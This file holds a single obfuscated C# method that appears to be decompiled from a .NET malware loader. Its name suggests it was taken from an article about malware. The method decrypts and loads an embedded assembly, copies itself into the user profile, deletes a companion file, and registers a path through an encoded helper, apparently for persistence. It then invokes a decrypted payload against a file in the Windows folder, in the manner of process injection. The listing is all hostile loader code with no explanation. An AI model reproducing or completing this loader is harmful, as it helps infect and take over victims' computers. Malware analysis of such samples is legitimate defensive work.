dotnet_malware_article_obfuscated_full.cs

private static void pwS3x7Sg(string[] HA36XMPY)
{
int num = 5;
string text;
string a;
string location;
byte[] xnnXVZCo;
Assembly assembly;
string a2;
for (;;)
{
    switch (num)
    {
    case 0:
        break;
    case 1:
        if (!File.Exists(text))
        {
            num = 4;
            continue;
        }
        break;
    case 2:
        if (a == DFsEYbtO.9j4WnKTF(358 + 1))
        {
            num = 3;
            continue;
        }
        goto IL_127;
    case 3:
        goto IL_CA;
    case 4:
        File.Copy(location, text);
        rYChEj24.DeleteFile(text + DFsEYbtO.9j4WnKTF(267 + 1));
        num = 0;
        continue;
    case 5:
    {
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        xnnXVZCo = rYChEj24.m861PYDG(executingAssembly);
        byte[] xnnXVZCo2 = rYChEj24.Q8sHxNtH(executingAssembly);
        assembly = Assembly.Load(rYChEj24.ygv4ageb(xnnXVZCo2));
        a2 = DFsEYbtO.9j4WnKTF(292 + 1);
        a = DFsEYbtO.9j4WnKTF(301 + 1);
        location = Assembly.GetEntryAssembly().Location;
        text = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + DFsEYbtO.9j4WnKTF(310 + 1) + Path.GetFileName(location);
        if (a == DFsEYbtO.9j4WnKTF(315 + 1))
        {
            num = 1;
            continue;
        }
        break;
    }
    default:
    {
        int num2 = 0;
        num = num2;
        continue;
    }
    }
    if (!(a2 == DFsEYbtO.9j4WnKTF(324 + 1)))
    {
        goto IL_13A;
    }
    num = 2;
}
IL_CA:
rYChEj24.gmGuUUHA(DFsEYbtO.9j4WnKTF(333 + 1), text);
goto IL_13A;
IL_127:
rYChEj24.gmGuUUHA(DFsEYbtO.9j4WnKTF(367 + 1), location);
try
{
    IL_13A:
    int num3 = 6;
    for (;;)
    {
        string text2;
        Type[] exportedTypes;
        int num4;
        switch (num3)
        {
        case 0:
            goto IL_153;
        case 1:
            goto IL_24D;
        case 2:
            goto IL_1DF;
        case 3:
            break;
        case 4:
            text2 = rYChEj24.1hnBjg9A(text2);
            num3 = 2;
            continue;
        case 5:
            a == DFsEYbtO.9j4WnKTF(392 + 1);
            num3 = 3;
            continue;
        case 6:
            exportedTypes = assembly.GetExportedTypes();
            num4 = 0;
            goto IL_153;
        default:
        {
            int num2 = 0;
            num3 = num2;
            continue;
        }
        }
        IL_14A:
        num4++;
        num3 = 0;
        continue;
        IL_153:
        if (num4 >= exportedTypes.Length)
        {
            num3 = 1;
            continue;
        }
        Type type = exportedTypes[num4];
        object target = Activator.CreateInstance(type);
        text2 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + DFsEYbtO.9j4WnKTF(401 + 1);
        if (!File.Exists(text2))
        {
            num3 = 4;
            continue;
        }
        IL_1DF:
        type.InvokeMember(DFsEYbtO.9j4WnKTF(466 + 1), BindingFlags.InvokeMethod, null, target, new object[]
        {
            text2,
            DFsEYbtO.9j4WnKTF(471 + 1),
            rYChEj24.ygv4ageb(xnnXVZCo),
            true
        });
        if (!(a2 == DFsEYbtO.9j4WnKTF(472 + 1)))
        {
            goto IL_14A;
        }
        num3 = 5;
    }
    IL_24D:;
}
catch
{
}
}